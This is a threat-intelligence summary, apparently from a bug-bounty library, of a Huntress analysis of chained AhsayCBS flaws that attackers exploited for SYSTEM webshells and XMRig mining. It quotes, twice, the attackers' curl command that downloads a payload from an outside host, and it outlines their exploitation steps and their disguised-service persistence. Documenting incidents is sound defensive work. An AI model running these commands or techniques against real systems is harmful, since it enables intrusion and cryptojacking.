# Threat Actors Exploit Critical AhsayCBS Flaws to Drop Webshells and XMRig Cryptominer

Auth bypass in AhsayCBS checkSysPwd chained with UpdateReceivers.do token-substitution flaw gives unauthenticated SYSTEM RCE, exploited to drop JSP webshells and XMRig miners.

- Payout: Real-world hack
- Severity: critical
- Program: AhsayCBS
- Found by (vendor credit): nickc (VulDB User)
- Analysis by: Huntress
- Disclosed: 2026-10-08
- CVE: CVE-2026-105133, CVE-2026-105134
- Write-up quality: 7/10
- Original: https://www.huntress.com/blog/ahsaycbs-flaws-exploit
- Library page: https://bugbountylibrary.com/r/blog%3Ahuntress-com-blog-ahsaycbs-flaws-exploit
- Tags: area:web domain:web impact:internal-access impact:rce kind:incident platform:threat-intel sev:critical tech:java tech:windows technique:chained vuln:auth-bypass vuln:file-upload vuln:rce

**Target:** AhsayCBS management console web service (/rps/api/json/UpdateReceivers.do) on Windows
**Root cause:** checkSysPwd in com/ahsay/obs/api/ApiStructsAction.java performs improper authentication (CVE-2026-105133); the Replication Receiver API /rps/api/json/UpdateReceivers.do accepts a random token in place of valid credentials, letting an unauthenticated attacker configure a malicious receiver and write a JSP webshell into the served application directory (CVE-2026-105134).
**Steps:**
1. Bypass authentication via CVE-2026-105133 in checkSysPwd (com/ahsay/obs/api/ApiStructsAction.java).
2. Reach /rps/api/json/UpdateReceivers.do and supply a random token substituting valid credentials.
3. Configure a malicious replication receiver so a JSP webshell is written into the CBS-served application directory.
4. Request the JSP webshell to execute commands as NT AUTHORITY/SYSTEM (observed as child processes of cbssvcX64.exe).
5. From the webshell, run `curl -sk -o "C:\Users\ADMINI~1\AppData\Local\Temp\Taskgmr.ps1" "http://imagefiles-backup.oss-ap-southeast-7.aliyuncs[.]com/javas/Office/win/Taskgmr.ps1" --max-time 60` and certutil to fetch msedge.exe, edge.exe, config.json and WinRing0x64.sys.
6. Create service MicrosoftEdgeUpdateSvc running msedge.exe (renamed NSSM) as SYSTEM to keep edge.exe (XMRig) alive; load WinRing0x64.sys for kernel-level miner access.
**How found:** Huntress spotted suspicious command lines spawning as child processes of the AhsayCBS service binary cbssvcX64.exe, which led them to analyze the exposed management API and identify the auth bypass and token-substitution flaws.
**Exploitation:** Unauthenticated attacker chains the auth bypass into UpdateReceivers.do to plant a JSP webshell, gaining SYSTEM command execution on internet-exposed AhsayCBS hosts. Post-exploitation: curl/certutil pull payloads from Alibaba Cloud OSS into Temp, Taskgmr.ps1 hides the miner from Task Manager, a fake MicrosoftEdgeUpdateSvc service (NSSM renamed msedge.exe) persists the XMRig miner edge.exe, which mines Monero to xmr.kryptex.network:8029; WinRing0x64.sys gives the miner kernel-level hardware access.
**Escalation:** Auth bypass -> unauthenticated RCE as SYSTEM -> webshell -> service-based persistence and kernel driver load for mining performance.
**Insight:** Backup/MSP management consoles run their web app inside the service process, so webshell-spawned commands appear as direct children of the service binary — hunt for unexpected child processes of backup server services, and test replication/receiver APIs for token-for-credential substitution.

## Proof of concept (copied exactly from the original report)

**curl download of Taskgmr.ps1 payload**

```
curl -sk -o "C:\Users\ADMINI~1\AppData\Local\Temp\Taskgmr.ps1" "http://imagefiles-backup.oss-ap-southeast-7.aliyuncs[.]com/javas/Office/win/Taskgmr.ps1" --max-time 60
```